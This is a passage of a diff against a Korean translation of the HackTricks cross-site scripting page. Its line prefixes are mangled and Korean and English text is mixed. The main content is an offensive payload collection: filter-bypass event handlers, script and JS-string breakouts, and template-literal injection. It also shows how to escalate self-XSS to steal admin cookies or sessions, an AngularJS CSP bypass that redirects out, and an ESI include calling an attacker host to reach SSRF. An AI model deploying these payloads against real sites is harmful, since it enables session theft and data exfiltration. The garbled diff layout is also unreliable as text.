우선 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
|
||||
이벤트 핸들러 생성을 방해하는 블랙리스트가 있는 경우, 다음 우회 방법을 시도해 볼 수 있습니다:
|
||||
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회 방법을 시도해 볼 수 있습니다:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -424,7 +424,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**할 수 있어야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
|
||||
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -450,11 +450,11 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
|
||||
### CSS-가젯
|
||||
|
||||
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
|
||||
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스를 올렸을 때 작동하는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
|
||||
|
||||
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어
|
||||
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어,
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -470,7 +470,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
|
||||
## JavaScript 코드 내 주입
|
||||
|
||||
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
|
||||
이 경우 **입력**이 `.js` 파일의 **JS 코드 내에 반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
|
||||
|
||||
### \<script> 태그 이스케이프
|
||||
|
||||
|
@ -478,11 +478,11 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript를 파싱하여 내장된 스크립트를 이해하고 실행하는 것은 그 이후에 수행됩니다.
|
||||
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
|
||||
|
||||
### JS 코드 내부
|
||||
### Inside JS code
|
||||
|
||||
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
|
||||
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -493,7 +493,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 **백틱** **` `` `**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
|
||||
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면 `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
|
||||
이것은 다음을 사용하여 **악용**할 수 있습니다:
|
||||
이것은 다음과 같이 **악용**될 수 있습니다:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -743,13 +743,13 @@ top[8680439..toString(30)](1)
|
|||
{% endcontent-ref %}
|
||||
|
||||
여기에서 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다**.\
|
||||
또한, **언급된 게시물의 끝에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
|
||||
또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
|
||||
|
||||
### Self-XSS 업그레이드
|
||||
|
||||
### 쿠키 XSS
|
||||
|
||||
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
|
||||
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -759,11 +759,11 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### 세션을 관리자에게 전송하기
|
||||
|
||||
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점을 유발할 수 있습니다.
|
||||
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점을 유발할 수 있습니다.
|
||||
|
||||
### 세션 미러링
|
||||
|
||||
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
|
||||
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있다면, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 그의 세션에서 보게 됩니다.
|
||||
|
||||
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 훔칠 수 있습니다**.
|
||||
|
||||
|
@ -784,11 +784,11 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링
|
|||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
"Key", "Value" 쌍은 다음과 같이 에코됩니다:
|
||||
"Key","Value" 쌍은 다음과 같이 에코됩니다:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
그럼 onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
|
||||
### 특별한 조합
|
||||
```markup
|
||||
|
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
|
||||
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302일 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
|
||||
|
||||
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
|
||||
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
만약 JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
|
||||
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](./#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
|
||||
Chrome이 **로드된 스크립트**를 실행하는 것을 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)에서 const **`kSupportedJavascriptTypes`** 내에 있는 것들입니다.
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -867,8 +867,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
The answer is:
|
||||
|
||||
* **module** (기본값, 설명할 것이 없음)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
|
||||
* **모듈** (기본, 설명할 것이 없음)
|
||||
* [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -1088,7 +1088,7 @@ trigger()
|
|||
|
||||
### Iframe 트랩
|
||||
|
||||
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
|
||||
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보를 포함하여):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1309,7 +1309,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - 숨겨진 콘텐츠 접근
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라져도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
|
||||
```javascript
|
||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### SSRF로의 XSS
|
||||
|
||||
**캐싱을 사용하는 사이트에서 XSS를 얻었나요?** 이 페이로드를 사용하여 **그것을 SSRF로 업그레이드해보세요**:
|
||||
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1430,15 +1430,15 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Find **더 많은 SVG 페이로드는** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## 기타 JS 트릭 및 관련 정보
|
||||
## Misc JS Tricks & Relevant Info
|
||||
|
||||
{% content-ref url="other-js-tricks.md" %}
|
||||
[other-js-tricks.md](other-js-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XSS 리소스
|
||||
## XSS resources
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
@ -1446,9 +1446,9 @@ Find **더 많은 SVG 페이로드는** [**https://github.com/allanlw/svg-cheats
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **해킹 경력** and hack the unhackable - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구술 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1458,11 +1458,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|